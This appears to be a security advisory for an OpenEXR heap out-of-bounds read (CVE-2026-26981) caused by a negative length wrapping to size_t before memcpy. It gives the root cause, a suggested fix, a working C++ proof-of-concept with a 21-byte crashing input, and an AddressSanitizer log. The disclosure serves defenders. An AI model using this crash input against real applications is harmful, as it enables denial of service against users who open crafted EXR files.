CVE-2026-26981

Description

## Summary A heap-buffer-overflow (OOB read) occurs in the `istream_nonparallel_read` function in `ImfContextInit.cpp` when parsing a malformed EXR file through a memory-mapped `IStream`. A signed integer subtraction produces a negative value that is implicitly converted to `size_t`, resulting in a massive length being passed to `memcpy`. ## Affected Version - OpenEXR **main branch** (commit at time of testing) - `src/lib/OpenEXR/ImfContextInit.cpp`, lines 121–136 ## Root Cause `ImfContextInit.cpp:121-126`: ```cpp int64_t stream_sz = s->size (); // e.g., 21 (actual file size) int64_t nend = nread + (int64_t)sz; // e.g., 17 + 4096 = 4113 if (stream_sz > 0 && nend > stream_sz) { sz = stream_sz - nend; // 21 - 4113 = -4092 (signed) } // ... memcpy (buffer, data, sz); // sz is size_t → wraps to 0xFFFFFFFFFFFFF004 ``` `sz` is of type `size_t` (unsigned), but `stream_sz - nend` yields a negative `int64_t` value. This negative value is implicitly converted to `size_t`, wrapping around to a value close to `2^64`, which is then passed to `memcpy` causing a heap-buffer-overflow. **Suggested fix:** `sz = stream_sz - nend` → `sz = stream_sz - nread` ## Reproduce Build OpenEXR as static libraries with ASAN enabled, then compile the PoC below. **PoC Code:** ```cpp #include <cstdint> #include <cstring> #include <iostream> #include <ImfMultiPartInputFile.h> #include <ImfInputPart.h> #include <ImfHeader.h> OPENEXR_IMF_INTERNAL_NAMESPACE_HEADER_ENTER class MemMapIStream : public IStream { public: MemMapIStream (const uint8_t* data, size_t len) : IStream ("poc_input") , _data (reinterpret_cast<const char*> (data)) , _size (static_cast<int64_t> (len)) , _pos (0) {} bool isMemoryMapped () const override { return true; } bool read (char c[], int n) override { int64_t avail = (_pos < _size) ? (_size - _pos) : 0; int64_t copy = (static_cast<int64_t> (n) < avail) ? n : avail; if (copy > 0) memcpy (c, _data + _pos, copy); _pos += n; return _pos <= _size; } char* readMemoryMapped (int n) override { if (_pos + n > _size) throw IEX_NAMESPACE::InputExc ("read past end"); const char* p = _data + _pos; _pos += n; return const_cast<char*> (p); } uint64_t tellg () override { return static_cast<uint64_t> (_pos); } void seekg (uint64_t pos) override { _pos = static_cast<int64_t> (pos); } int64_t size () override { return _size; } private: const char* _data; int64_t _size; int64_t _pos; }; OPENEXR_IMF_INTERNAL_NAMESPACE_HEADER_EXIT int main () { static const uint8_t crash_data[] = { 0x76, 0x2f, 0x31, 0x01, 0x02, 0x06, 0x00, 0x00, 0x74, 0x69, 0x6c, 0x65, 0x73, 0x00, 0x20, 0x00, 0x00, 0x53, 0x00, 0x00, 0x00 }; try { Imf::MemMapIStream stream (crash_data, sizeof (crash_data)); Imf::MultiPartInputFile file (stream); } catch (const std::exception& e) { std::cout << "Exception: " << e.what () << "\n"; } return 0; } ``` **PoC Input:** https://drive.google.com/file/d/1VhjdK11LA0LHdW1mJJIQEo64mc5tpOUV/view?usp=drive_link ## ASAN Log ``` ==305348==ERROR: AddressSanitizer: negative-size-param: (size=-4096) #0 0x62aee9fc732a in __asan_memcpy (/home/wjddn0623/fuzzing/openexr/exr_decode_fuzzer+0x23932a) (BuildId: c02729e73015cfda2879d44b5d5b25d4b5e68ae0) #1 0x62aeea0e3377 in Imf_4_0::istream_nonparallel_read(_priv_exr_context_t const*, void*, void*, unsigned long, unsigned long, int (*)(_priv_exr_context_t const*, int, char const*, ...)) /home/wjddn0623/fuzzing/openexr/src/lib/OpenEXR/ImfContextInit.cpp:136:21 #2 0x62aeea15e75b in dispatch_read /home/wjddn0623/fuzzing/openexr/src/lib/OpenEXRCore/context.c:51:16 #3 0x62aeea19da19 in scratch_seq_skip /home/wjddn0623/fuzzing/openexr/src/lib/OpenEXRCore/parse_header.c:202:29 #4 0x62aeea197ec9 in check_populate_tiles /home/wjddn0623/fuzzing/openexr/src/lib/OpenEXRCore/parse_header.c:1560:9 #5 0x62aeea197ec9 in check_req_attr /home/wjddn0623/fuzzing/openexr/src/lib/OpenEXRCore/parse_header.c:2020:24 #6 0x62aeea197ec9 in pull_attr /home/wjddn0623/fuzzing/openexr/src/lib/OpenEXRCore/parse_header.c:2085:10 #7 0x62aeea197ec9 in internal_exr_parse_header /home/wjddn0623/fuzzing/openexr/src/lib/OpenEXRCore/parse_header.c:2848:18 #8 0x62aeea15f578 in exr_start_read /home/wjddn0623/fuzzing/openexr/src/lib/OpenEXRCore/context.c:270:49 #9 0x62aeea0d8130 in Imf_4_0::Context::Context(char const*, Imf_4_0::ContextInitializer const&, Imf_4_0::Context::read_mode_t) /home/wjddn0623/fuzzing/openexr/src/lib/OpenEXR/ImfContext.cpp:124:10 #10 0x62aeea0633ab in Imf_4_0::MultiPartInputFile::MultiPartInputFile(char const*, Imf_4_0::ContextInitializer const&, int, bool) /home/wjddn0623/fuzzing/openexr/src/lib/OpenEXR/ImfMultiPartInputFile.cpp:59:7 #11 0x62aeea0649de in Imf_4_0::MultiPartInputFile::MultiPartInputFile(Imf_4_0::IStream&, int, bool) /home/wjddn0623/fuzzing/openexr/src/lib/OpenEXR/ImfMultiPartInputFile.cpp:96:7 #12 0x62aeea00d522 in fuzz_cpp_headers(char const*, unsigned long) /home/wjddn0623/fuzzing/openexr/exr_decode_fuzzer.cc:167:31 #13 0x62aeea00d522 in fuzz_cpp_api(char const*, unsigned long) /home/wjddn0623/fuzzing/openexr/exr_decode_fuzzer.cc:460:5 #14 0x62aeea00a156 in LLVMFuzzerTestOneInput /home/wjddn0623/fuzzing/openexr/exr_decode_fuzzer.cc:927:5 #15 0x62aee9f15414 in fuzzer::Fuzzer::ExecuteCallback(unsigned char const*, unsigned long) (/home/wjddn0623/fuzzing/openexr/exr_decode_fuzzer+0x187414) (BuildId: c02729e73015cfda2879d44b5d5b25d4b5e68ae0) #16 0x62aee9efe546 in fuzzer::RunOneTest(fuzzer::Fuzzer*, char const*, unsigned long) (/home/wjddn0623/fuzzing/openexr/exr_decode_fuzzer+0x170546) (BuildId: c02729e73015cfda2879d44b5d5b25d4b5e68ae0) #17 0x62aee9f03ffa in fuzzer::FuzzerDriver(int*, char***, int (*)(unsigned char const*, unsigned long)) (/home/wjddn0623/fuzzing/openexr/exr_decode_fuzzer+0x175ffa) (BuildId: c02729e73015cfda2879d44b5d5b25d4b5e68ae0) #18 0x62aee9f2e7b6 in main (/home/wjddn0623/fuzzing/openexr/exr_decode_fuzzer+0x1a07b6) (BuildId: c02729e73015cfda2879d44b5d5b25d4b5e68ae0) #19 0x71035ee2a1c9 in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16 #20 0x71035ee2a28a in __libc_start_main csu/../csu/libc-start.c:360:3 #21 0x62aee9ef9114 in _start (/home/wjddn0623/fuzzing/openexr/exr_decode_fuzzer+0x16b114) (BuildId: c02729e73015cfda2879d44b5d5b25d4b5e68ae0) 0x503000000235 is located 0 bytes after 21-byte region [0x503000000220,0x503000000235) allocated by thread T0 here: #0 0x62aeea007c61 in operator new[](unsigned long) (/home/wjddn0623/fuzzing/openexr/exr_decode_fuzzer+0x279c61) (BuildId: c02729e73015cfda2879d44b5d5b25d4b5e68ae0) #1 0x62aee9f15325 in fuzzer::Fuzzer::ExecuteCallback(unsigned char const*, unsigned long) (/home/wjddn0623/fuzzing/openexr/exr_decode_fuzzer+0x187325) (BuildId: c02729e73015cfda2879d44b5d5b25d4b5e68ae0) #2 0x62aee9efe546 in fuzzer::RunOneTest(fuzzer::Fuzzer*, char const*, unsigned long) (/home/wjddn0623/fuzzing/openexr/exr_decode_fuzzer+0x170546) (BuildId: c02729e73015cfda2879d44b5d5b25d4b5e68ae0) #3 0x62aee9f03ffa in fuzzer::FuzzerDriver(int*, char***, int (*)(unsigned char const*, unsigned long)) (/home/wjddn0623/fuzzing/openexr/exr_decode_fuzzer+0x175ffa) (BuildId: c02729e73015cfda2879d44b5d5b25d4b5e68ae0) #4 0x62aee9f2e7b6 in main (/home/wjddn0623/fuzzing/openexr/exr_decode_fuzzer+0x1a07b6) (BuildId: c02729e73015cfda2879d44b5d5b25d4b5e68ae0) #5 0x71035ee2a1c9 in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16 #6 0x71035ee2a28a in __libc_start_main csu/../csu/libc-start.c:360:3 #7 0x62aee9ef9114 in _start (/home/wjddn0623/fuzzing/openexr/exr_decode_fuzzer+0x16b114) (BuildId: c02729e73015cfda2879d44b5d5b25d4b5e68ae0) SUMMARY: AddressSanitizer: negative-size-param (/home/wjddn0623/fuzzing/openexr/exr_decode_fuzzer+0x23932a) (BuildId: c02729e73015cfda2879d44b5d5b25d4b5e68ae0) in __asan_memcpy ==305348==ABORTING ``` ## Impact - **DoS** — Any application that opens a crafted EXR file will crash immediately - **CWE-195** (Signed to Unsigned Conversion Error) → **CWE-122** (Heap-based Buffer Overflow) - Affects any application using an `IStream` implementation where `isMemoryMapped()` returns `true`